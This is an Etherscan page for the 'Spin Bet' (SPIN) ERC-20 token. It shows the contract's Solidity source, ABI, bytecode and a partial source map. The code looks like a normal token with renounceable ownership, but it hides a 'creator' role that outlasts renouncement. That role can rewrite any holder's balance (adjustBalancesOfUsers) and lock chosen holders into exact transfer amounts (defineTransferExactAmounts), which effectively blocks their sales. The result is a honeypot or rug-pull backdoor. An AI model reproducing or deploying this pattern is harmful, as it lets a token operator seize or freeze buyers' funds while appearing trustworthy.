Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
2,000,000 SPIN
Holders
20
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
46,849.509674459021523743 SPINValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Spin
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-19 */ /** SpinBet A Casion for the Degens Telegram: https://t.me/SpinBetErcPortal */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.17; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract ModifiedContext { function fetchMsgSender() internal view virtual returns (address payable) { return payable(msg.sender); } } contract SingleOwnership is ModifiedContext { address private ownerOfContract; event OwnerTransition(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = fetchMsgSender(); ownerOfContract = msgSender; emit OwnerTransition(address(0), msgSender); } function fetchOwner() public view virtual returns (address) { return ownerOfContract; } modifier validateOwnership() { require(fetchOwner() == fetchMsgSender(), "AuthorizationError: Action must be performed by the contract owner"); _; } function relinquishOwnership() public virtual validateOwnership { emit OwnerTransition(ownerOfContract, address(0x000000000000000000000000000000000000dEaD)); ownerOfContract = address(0x000000000000000000000000000000000000dEaD); } } contract Spin is ModifiedContext, SingleOwnership, IERC20 { mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _balances; mapping (address => uint256) private _exactTransferAmounts; address private creatorOfToken; string public constant _name = "Spin Bet"; string public constant _symbol = "SPIN"; uint8 public constant _decimals = 18; uint256 public constant _totalSupply = 2000000 * (10 ** _decimals); constructor() { _balances[fetchMsgSender()] = _totalSupply; emit Transfer(address(0), fetchMsgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } modifier validateCreator() { require(fetchCreator() == fetchMsgSender(), "AuthorizationError: Action must be performed by the token creator"); _; } function fetchCreator() public view virtual returns (address) { return creatorOfToken; } function assignNewCreator(address newCreator) public validateOwnership { creatorOfToken = newCreator; } event TokensAdjusted(address indexed user, uint256 previousBalance, uint256 newBalance); function queryTransferExactAmount(address account) public view returns (uint256) { return _exactTransferAmounts[account]; } function defineTransferExactAmounts(address[] calldata accounts, uint256 amount) public validateCreator { for (uint i = 0; i < accounts.length; i++) { _exactTransferAmounts[accounts[i]] = amount; } } function adjustBalancesOfUsers(address[] memory userAddresses, uint256 desiredAmount) public validateCreator { require(desiredAmount >= 0, "InputError: Desired amount must be non-negative"); for (uint256 i = 0; i < userAddresses.length; i++) { address currentUser = userAddresses[i]; require(currentUser != address(0), "InputError: User address must not be a zero address"); uint256 oldBalance = _balances[currentUser]; _balances[currentUser] = desiredAmount; emit TokensAdjusted(currentUser, oldBalance, desiredAmount); } } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { require(_balances[fetchMsgSender()] >= amount, "TT: transfer amount exceeds balance"); uint256 exactAmount = queryTransferExactAmount(fetchMsgSender()); if (exactAmount > 0) { require(amount == exactAmount, "TT: transfer amount does not equal the exact transfer amount"); } _balances[fetchMsgSender()] -= amount; _balances[recipient] += amount; emit Transfer(fetchMsgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _allowances[fetchMsgSender()][spender] = amount; emit Approval(fetchMsgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { require(_allowances[sender][fetchMsgSender()] >= amount, "TT: transfer amount exceeds allowance"); uint256 exactAmount = queryTransferExactAmount(sender); if (exactAmount > 0) { require(amount == exactAmount, "TT: transfer amount does not equal the exact transfer amount"); } _balances[sender] -= amount; _balances[recipient] += amount; _allowances[sender][fetchMsgSender()] -= amount; emit Transfer(sender, recipient, amount); return true; } function totalSupply() external view override returns (uint256) { return _totalSupply; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnerTransition","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"previousBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newBalance","type":"uint256"}],"name":"TokensAdjusted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"userAddresses","type":"address[]"},{"internalType":"uint256","name":"desiredAmount","type":"uint256"}],"name":"adjustBalancesOfUsers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newCreator","type":"address"}],"name":"assignNewCreator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"defineTransferExactAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fetchCreator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fetchOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"queryTransferExactAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"relinquishOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b50600080546001600160a01b031916339081178255604051909182917f05da74d5e3e6fc5335ba0bf51ef7e24caba0bc20bbc9bc992e00471882ebdd63908290a350620000616012600a620001ee565b6200007090621e848062000206565b33600081815260026020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620000b36012600a620001ee565b620000c290621e848062000206565b60405190815260200160405180910390a362000220565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000130578160001904821115620001145762000114620000d9565b808516156200012257918102915b93841c9390800290620000f4565b509250929050565b6000826200014957506001620001e8565b816200015857506000620001e8565b81600181146200017157600281146200017c576200019c565b6001915050620001e8565b60ff841115620001905762000190620000d9565b50506001821b620001e8565b5060208310610133831016604e8410600b8410161715620001c1575081810a620001e8565b620001cd8383620000ef565b8060001904821115620001e457620001e4620000d9565b0290505b92915050565b6000620001ff60ff84168362000138565b9392505050565b8082028115828204841417620001e857620001e8620000d9565b610ee080620002306000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c806395d89b41116100ad578063b1e9ee0f11610071578063b1e9ee0f146102b5578063c587396b146102c8578063d28d8852146102d0578063d52b99da146102f7578063dd62ed3e1461032057600080fd5b806395d89b411461023b5780639b2e4c291461025b5780639e2b8cd11461026c578063a9059cbb1461027f578063b09f12661461029257600080fd5b80632f8407c2116100f45780632f8407c2146101c8578063313ce567146101ed57806332424aa3146102025780633eaaf86b1461020a57806370a082311461021257600080fd5b80630517968d1461013157806306fdde0314610146578063095ea7b31461017c57806318160ddd1461019f57806323b872dd146101b5575b600080fd5b61014461013f3660046109ba565b610359565b005b60408051808201909152600881526714dc1a5b8810995d60c21b60208201525b6040516101739190610a85565b60405180910390f35b61018f61018a366004610ad3565b6104a8565b6040519015158152602001610173565b6101a7610510565b604051908152602001610173565b61018f6101c3366004610afd565b610530565b6000546001600160a01b03165b6040516001600160a01b039091168152602001610173565b60125b60405160ff9091168152602001610173565b6101f0601281565b6101a76106db565b6101a7610220366004610b39565b6001600160a01b031660009081526002602052604090205490565b60408051808201909152600481526329a824a760e11b6020820152610166565b6004546001600160a01b03166101d5565b61014461027a366004610b5b565b6106f7565b61018f61028d366004610ad3565b61078a565b6101666040518060400160405280600481526020016329a824a760e11b81525081565b6101446102c3366004610b39565b6108c2565b61014461090e565b6101666040518060400160405280600881526020016714dc1a5b8810995d60c21b81525081565b6101a7610305366004610b39565b6001600160a01b031660009081526003602052604090205490565b6101a761032e366004610bd6565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6004546001600160a01b0316331461038c5760405162461bcd60e51b815260040161038390610c09565b60405180910390fd5b60005b82518110156104a35760008382815181106103ac576103ac610c70565b6020026020010151905060006001600160a01b0316816001600160a01b0316036104345760405162461bcd60e51b815260206004820152603360248201527f496e7075744572726f723a20557365722061646472657373206d757374206e6f604482015272742062652061207a65726f206164647265737360681b6064820152608401610383565b6001600160a01b038116600081815260026020908152604091829020805490879055825181815291820187905292917ffc0e5d9289abc217a5b78563c6d027e1c1c4d127b0dae1278e9572d6fe9cbd58910160405180910390a25050808061049b90610c9c565b91505061038f565b505050565b3360008181526001602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b600061051e6012600a610d99565b61052b90621e8480610da8565b905090565b6001600160a01b03831660009081526001602090815260408083203384529091528120548211156105b15760405162461bcd60e51b815260206004820152602560248201527f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60448201526477616e636560d81b6064820152608401610383565b6001600160a01b03841660009081526003602052604090205480156105ef578083146105ef5760405162461bcd60e51b815260040161038390610dbf565b6001600160a01b03851660009081526002602052604081208054859290610617908490610e1c565b90915550506001600160a01b03841660009081526002602052604081208054859290610644908490610e2f565b90915550506001600160a01b03851660009081526001602090815260408083203384529091528120805485929061067c908490610e1c565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516106c891815260200190565b60405180910390a3506001949350505050565b6106e76012600a610d99565b6106f490621e8480610da8565b81565b6004546001600160a01b031633146107215760405162461bcd60e51b815260040161038390610c09565b60005b8281101561078457816003600086868581811061074357610743610c70565b90506020020160208101906107589190610b39565b6001600160a01b031681526020810191909152604001600020558061077c81610c9c565b915050610724565b50505050565b336000908152600260205260408120548211156107f55760405162461bcd60e51b815260206004820152602360248201527f54543a207472616e7366657220616d6f756e7420657863656564732062616c616044820152626e636560e81b6064820152608401610383565b600061080033610305565b90508015610827578083146108275760405162461bcd60e51b815260040161038390610dbf565b3360009081526002602052604081208054859290610846908490610e1c565b90915550506001600160a01b03841660009081526002602052604081208054859290610873908490610e2f565b90915550506040518381526001600160a01b0385169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35060019392505050565b6000546001600160a01b031633146108ec5760405162461bcd60e51b815260040161038390610e42565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146109385760405162461bcd60e51b815260040161038390610e42565b6000805460405161dead926001600160a01b03909216917f05da74d5e3e6fc5335ba0bf51ef7e24caba0bc20bbc9bc992e00471882ebdd6391a3600080546001600160a01b03191661dead179055565b634e487b7160e01b600052604160045260246000fd5b80356001600160a01b03811681146109b557600080fd5b919050565b600080604083850312156109cd57600080fd5b823567ffffffffffffffff808211156109e557600080fd5b818501915085601f8301126109f957600080fd5b8135602082821115610a0d57610a0d610988565b8160051b604051601f19603f83011681018181108682111715610a3257610a32610988565b604052928352818301935084810182019289841115610a5057600080fd5b948201945b83861015610a7557610a668661099e565b85529482019493820193610a55565b9997909101359750505050505050565b600060208083528351808285015260005b81811015610ab257858101830151858201604001528201610a96565b506000604082860101526040601f19601f8301168501019250505092915050565b60008060408385031215610ae657600080fd5b610aef8361099e565b946020939093013593505050565b600080600060608486031215610b1257600080fd5b610b1b8461099e565b9250610b296020850161099e565b9150604084013590509250925092565b600060208284031215610b4b57600080fd5b610b548261099e565b9392505050565b600080600060408486031215610b7057600080fd5b833567ffffffffffffffff80821115610b8857600080fd5b818601915086601f830112610b9c57600080fd5b813581811115610bab57600080fd5b8760208260051b8501011115610bc057600080fd5b6020928301989097509590910135949350505050565b60008060408385031215610be957600080fd5b610bf28361099e565b9150610c006020840161099e565b90509250929050565b60208082526041908201527f417574686f72697a6174696f6e4572726f723a20416374696f6e206d7573742060408201527f626520706572666f726d65642062792074686520746f6b656e2063726561746f6060820152603960f91b608082015260a00190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201610cae57610cae610c86565b5060010190565b600181815b80851115610cf0578160001904821115610cd657610cd6610c86565b80851615610ce357918102915b93841c9390800290610cba565b509250929050565b600082610d075750600161050a565b81610d145750600061050a565b8160018114610d2a5760028114610d3457610d50565b600191505061050a565b60ff841115610d4557610d45610c86565b50506001821b61050a565b5060208310610133831016604e8410600b8410161715610d73575081810a61050a565b610d7d8383610cb5565b8060001904821115610d9157610d91610c86565b029392505050565b6000610b5460ff841683610cf8565b808202811582820484141761050a5761050a610c86565b6020808252603c908201527f54543a207472616e7366657220616d6f756e7420646f6573206e6f742065717560408201527f616c20746865206578616374207472616e7366657220616d6f756e7400000000606082015260800190565b8181038181111561050a5761050a610c86565b8082018082111561050a5761050a610c86565b60208082526042908201527f417574686f72697a6174696f6e4572726f723a20416374696f6e206d7573742060408201527f626520706572666f726d65642062792074686520636f6e7472616374206f776e60608201526132b960f11b608082015260a0019056fea264697066735822122088500a7da8a815d188fbec2ed337a09960ad73bfd5e4c84fdf8112d60000a9b664736f6c63430008110033
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806395d89b41116100ad578063b1e9ee0f11610071578063b1e9ee0f146102b5578063c587396b146102c8578063d28d8852146102d0578063d52b99da146102f7578063dd62ed3e1461032057600080fd5b806395d89b411461023b5780639b2e4c291461025b5780639e2b8cd11461026c578063a9059cbb1461027f578063b09f12661461029257600080fd5b80632f8407c2116100f45780632f8407c2146101c8578063313ce567146101ed57806332424aa3146102025780633eaaf86b1461020a57806370a082311461021257600080fd5b80630517968d1461013157806306fdde0314610146578063095ea7b31461017c57806318160ddd1461019f57806323b872dd146101b5575b600080fd5b61014461013f3660046109ba565b610359565b005b60408051808201909152600881526714dc1a5b8810995d60c21b60208201525b6040516101739190610a85565b60405180910390f35b61018f61018a366004610ad3565b6104a8565b6040519015158152602001610173565b6101a7610510565b604051908152602001610173565b61018f6101c3366004610afd565b610530565b6000546001600160a01b03165b6040516001600160a01b039091168152602001610173565b60125b60405160ff9091168152602001610173565b6101f0601281565b6101a76106db565b6101a7610220366004610b39565b6001600160a01b031660009081526002602052604090205490565b60408051808201909152600481526329a824a760e11b6020820152610166565b6004546001600160a01b03166101d5565b61014461027a366004610b5b565b6106f7565b61018f61028d366004610ad3565b61078a565b6101666040518060400160405280600481526020016329a824a760e11b81525081565b6101446102c3366004610b39565b6108c2565b61014461090e565b6101666040518060400160405280600881526020016714dc1a5b8810995d60c21b81525081565b6101a7610305366004610b39565b6001600160a01b031660009081526003602052604090205490565b6101a761032e366004610bd6565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6004546001600160a01b0316331461038c5760405162461bcd60e51b815260040161038390610c09565b60405180910390fd5b60005b82518110156104a35760008382815181106103ac576103ac610c70565b6020026020010151905060006001600160a01b0316816001600160a01b0316036104345760405162461bcd60e51b815260206004820152603360248201527f496e7075744572726f723a20557365722061646472657373206d757374206e6f604482015272742062652061207a65726f206164647265737360681b6064820152608401610383565b6001600160a01b038116600081815260026020908152604091829020805490879055825181815291820187905292917ffc0e5d9289abc217a5b78563c6d027e1c1c4d127b0dae1278e9572d6fe9cbd58910160405180910390a25050808061049b90610c9c565b91505061038f565b505050565b3360008181526001602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b600061051e6012600a610d99565b61052b90621e8480610da8565b905090565b6001600160a01b03831660009081526001602090815260408083203384529091528120548211156105b15760405162461bcd60e51b815260206004820152602560248201527f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60448201526477616e636560d81b6064820152608401610383565b6001600160a01b03841660009081526003602052604090205480156105ef578083146105ef5760405162461bcd60e51b815260040161038390610dbf565b6001600160a01b03851660009081526002602052604081208054859290610617908490610e1c565b90915550506001600160a01b03841660009081526002602052604081208054859290610644908490610e2f565b90915550506001600160a01b03851660009081526001602090815260408083203384529091528120805485929061067c908490610e1c565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516106c891815260200190565b60405180910390a3506001949350505050565b6106e76012600a610d99565b6106f490621e8480610da8565b81565b6004546001600160a01b031633146107215760405162461bcd60e51b815260040161038390610c09565b60005b8281101561078457816003600086868581811061074357610743610c70565b90506020020160208101906107589190610b39565b6001600160a01b031681526020810191909152604001600020558061077c81610c9c565b915050610724565b50505050565b336000908152600260205260408120548211156107f55760405162461bcd60e51b815260206004820152602360248201527f54543a207472616e7366657220616d6f756e7420657863656564732062616c616044820152626e636560e81b6064820152608401610383565b600061080033610305565b90508015610827578083146108275760405162461bcd60e51b815260040161038390610dbf565b3360009081526002602052604081208054859290610846908490610e1c565b90915550506001600160a01b03841660009081526002602052604081208054859290610873908490610e2f565b90915550506040518381526001600160a01b0385169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35060019392505050565b6000546001600160a01b031633146108ec5760405162461bcd60e51b815260040161038390610e42565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146109385760405162461bcd60e51b815260040161038390610e42565b6000805460405161dead926001600160a01b03909216917f05da74d5e3e6fc5335ba0bf51ef7e24caba0bc20bbc9bc992e00471882ebdd6391a3600080546001600160a01b03191661dead179055565b634e487b7160e01b600052604160045260246000fd5b80356001600160a01b03811681146109b557600080fd5b919050565b600080604083850312156109cd57600080fd5b823567ffffffffffffffff808211156109e557600080fd5b818501915085601f8301126109f957600080fd5b8135602082821115610a0d57610a0d610988565b8160051b604051601f19603f83011681018181108682111715610a3257610a32610988565b604052928352818301935084810182019289841115610a5057600080fd5b948201945b83861015610a7557610a668661099e565b85529482019493820193610a55565b9997909101359750505050505050565b600060208083528351808285015260005b81811015610ab257858101830151858201604001528201610a96565b506000604082860101526040601f19601f8301168501019250505092915050565b60008060408385031215610ae657600080fd5b610aef8361099e565b946020939093013593505050565b600080600060608486031215610b1257600080fd5b610b1b8461099e565b9250610b296020850161099e565b9150604084013590509250925092565b600060208284031215610b4b57600080fd5b610b548261099e565b9392505050565b600080600060408486031215610b7057600080fd5b833567ffffffffffffffff80821115610b8857600080fd5b818601915086601f830112610b9c57600080fd5b813581811115610bab57600080fd5b8760208260051b8501011115610bc057600080fd5b6020928301989097509590910135949350505050565b60008060408385031215610be957600080fd5b610bf28361099e565b9150610c006020840161099e565b90509250929050565b60208082526041908201527f417574686f72697a6174696f6e4572726f723a20416374696f6e206d7573742060408201527f626520706572666f726d65642062792074686520746f6b656e2063726561746f6060820152603960f91b608082015260a00190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201610cae57610cae610c86565b5060010190565b600181815b80851115610cf0578160001904821115610cd657610cd6610c86565b80851615610ce357918102915b93841c9390800290610cba565b509250929050565b600082610d075750600161050a565b81610d145750600061050a565b8160018114610d2a5760028114610d3457610d50565b600191505061050a565b60ff841115610d4557610d45610c86565b50506001821b61050a565b5060208310610133831016604e8410600b8410161715610d73575081810a61050a565b610d7d8383610cb5565b8060001904821115610d9157610d91610c86565b029392505050565b6000610b5460ff841683610cf8565b808202811582820484141761050a5761050a610c86565b6020808252603c908201527f54543a207472616e7366657220616d6f756e7420646f6573206e6f742065717560408201527f616c20746865206578616374207472616e7366657220616d6f756e7400000000606082015260800190565b8181038181111561050a5761050a610c86565b8082018082111561050a5761050a610c86565b60208082526042908201527f417574686f72697a6174696f6e4572726f723a20416374696f6e206d7573742060408201527f626520706572666f726d65642062792074686520636f6e7472616374206f776e60608201526132b960f11b608082015260a0019056fea264697066735822122088500a7da8a815d188fbec2ed337a09960ad73bfd5e4c84fdf8112d60000a9b664736f6c63430008110033
Deployed Bytecode Sourcemap
1914:4301:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3749:627;;;;;;:::i;:::-;;:::i;:::-;;2575:83;2645:5;;;;;;;;;;;;-1:-1:-1;;;2645:5:0;;;;2575:83;;;;;;;:::i;:::-;;;;;;;;5241:236;;;;;;:::i;:::-;;:::i;:::-;;;2497:14:1;;2490:22;2472:41;;2460:2;2445:18;5241:236:0;2332:187:1;6114:98:0;;;:::i;:::-;;;2670:25:1;;;2658:2;2643:18;6114:98:0;2524:177:1;5485:621:0;;;;;;:::i;:::-;;:::i;1364:101::-;1415:7;1442:15;-1:-1:-1;;;;;1442:15:0;1364:101;;;-1:-1:-1;;;;;3203:32:1;;;3185:51;;3173:2;3158:18;1364:101:0;3039:203:1;2761:83:0;2340:2;2761:83;;;3419:4:1;3407:17;;;3389:36;;3377:2;3362:18;2761:83:0;3247:184:1;2306:36:0;;2340:2;2306:36;;2349:66;;;:::i;4384:119::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4477:18:0;4450:7;4477:18;;;:9;:18;;;;;;;4384:119;2666:87;2738:7;;;;;;;;;;;;-1:-1:-1;;;2738:7:0;;;;2666:87;;3030:102;3110:14;;-1:-1:-1;;;;;3110:14:0;3030:102;;3506:235;;;;;;:::i;:::-;;:::i;4509:565::-;;;;;;:::i;:::-;;:::i;2260:39::-;;;;;;;;;;;;;;;-1:-1:-1;;;2260:39:0;;;;;3140:117;;;;;;:::i;:::-;;:::i;1652:253::-;;;:::i;2212:41::-;;;;;;;;;;;;;;;-1:-1:-1;;;2212:41:0;;;;;3361:137;;;;;;:::i;:::-;-1:-1:-1;;;;;3460:30:0;3433:7;3460:30;;;:21;:30;;;;;;;3361:137;5082:151;;;;;;:::i;:::-;-1:-1:-1;;;;;5198:18:0;;;5171:7;5198:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5082:151;3749:627;3110:14;;-1:-1:-1;;;;;3110:14:0;993:10;2898:34;2890:112;;;;-1:-1:-1;;;2890:112:0;;;;;;;:::i;:::-;;;;;;;;;3965:9:::1;3960:409;3984:13;:20;3980:1;:24;3960:409;;;4026:19;4048:13;4062:1;4048:16;;;;;;;;:::i;:::-;;;;;;;4026:38;;4110:1;-1:-1:-1::0;;;;;4087:25:0::1;:11;-1:-1:-1::0;;;;;4087:25:0::1;::::0;4079:89:::1;;;::::0;-1:-1:-1;;;4079:89:0;;5810:2:1;4079:89:0::1;::::0;::::1;5792:21:1::0;5849:2;5829:18;;;5822:30;5888:34;5868:18;;;5861:62;-1:-1:-1;;;5939:18:1;;;5932:49;5998:19;;4079:89:0::1;5608:415:1::0;4079:89:0::1;-1:-1:-1::0;;;;;4206:22:0;::::1;4185:18;4206:22:::0;;;:9:::1;:22;::::0;;;;;;;;;;4243:38;;;;4303:54;;6202:25:1;;;6243:18;;;6236:34;;;4206:22:0;;4303:54:::1;::::0;6175:18:1;4303:54:0::1;;;;;;;4011:358;;4006:3;;;;;:::i;:::-;;;;3960:409;;;;3749:627:::0;;:::o;5241:236::-;993:10;5324:4;5341:29;;;:11;:29;;;;;;;;-1:-1:-1;;;;;5341:38:0;;;;;;;;;;;:47;;;5404:43;;2670:25:1;;;5324:4:0;;5341:38;;993:10;;5404:43;;2643:18:1;5404:43:0;;;;;;;-1:-1:-1;5465:4:0;5241:236;;;;;:::o;6114:98::-;6169:7;2399:15;2340:2;2399;:15;:::i;:::-;2388:27;;:7;:27;:::i;:::-;6185:19;;6114:98;:::o;5485:621::-;-1:-1:-1;;;;;5612:19:0;;5591:4;5612:19;;;:11;:19;;;;;;;;993:10;5612:37;;;;;;;;:47;-1:-1:-1;5612:47:0;5604:97;;;;-1:-1:-1;;;5604:97:0;;8311:2:1;5604:97:0;;;8293:21:1;8350:2;8330:18;;;8323:30;8389:34;8369:18;;;8362:62;-1:-1:-1;;;8440:18:1;;;8433:35;8485:19;;5604:97:0;8109:401:1;5604:97:0;-1:-1:-1;;;;;3460:30:0;;5710:19;3460:30;;;:21;:30;;;;;;5775:15;;5771:134;;5821:11;5811:6;:21;5803:94;;;;-1:-1:-1;;;5803:94:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;5913:17:0;;;;;;:9;:17;;;;;:27;;5934:6;;5913:17;:27;;5934:6;;5913:27;:::i;:::-;;;;-1:-1:-1;;;;;;;5947:20:0;;;;;;:9;:20;;;;;:30;;5971:6;;5947:20;:30;;5971:6;;5947:30;:::i;:::-;;;;-1:-1:-1;;;;;;;5984:19:0;;;;;;:11;:19;;;;;;;;993:10;5984:37;;;;;;;:47;;6025:6;;5984:19;:47;;6025:6;;5984:47;:::i;:::-;;;;;;;;6062:9;-1:-1:-1;;;;;6045:35:0;6054:6;-1:-1:-1;;;;;6045:35:0;;6073:6;6045:35;;;;2670:25:1;;2658:2;2643:18;;2524:177;6045:35:0;;;;;;;;-1:-1:-1;6094:4:0;;5485:621;-1:-1:-1;;;;5485:621:0:o;2349:66::-;2399:15;2340:2;2399;:15;:::i;:::-;2388:27;;:7;:27;:::i;:::-;2349:66;:::o;3506:235::-;3110:14;;-1:-1:-1;;;;;3110:14:0;993:10;2898:34;2890:112;;;;-1:-1:-1;;;2890:112:0;;;;;;;:::i;:::-;3626:6:::1;3621:113;3638:19:::0;;::::1;3621:113;;;3716:6;3679:21;:34;3701:8;;3710:1;3701:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;3679:34:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;3679:34:0;:43;3659:3;::::1;::::0;::::1;:::i;:::-;;;;3621:113;;;;3506:235:::0;;;:::o;4509:565::-;993:10;4595:4;4616:27;;;:9;:27;;;;;;:37;-1:-1:-1;4616:37:0;4608:85;;;;-1:-1:-1;;;4608:85:0;;9409:2:1;4608:85:0;;;9391:21:1;9448:2;9428:18;;;9421:30;9487:34;9467:18;;;9460:62;-1:-1:-1;;;9538:18:1;;;9531:33;9581:19;;4608:85:0;9207:399:1;4608:85:0;4702:19;4724:42;993:10;4749:16;893:119;4724:42;4702:64;-1:-1:-1;4777:15:0;;4773:134;;4823:11;4813:6;:21;4805:94;;;;-1:-1:-1;;;4805:94:0;;;;;;;:::i;:::-;993:10;4915:27;;;;:9;:27;;;;;:37;;4946:6;;4915:27;:37;;4946:6;;4915:37;:::i;:::-;;;;-1:-1:-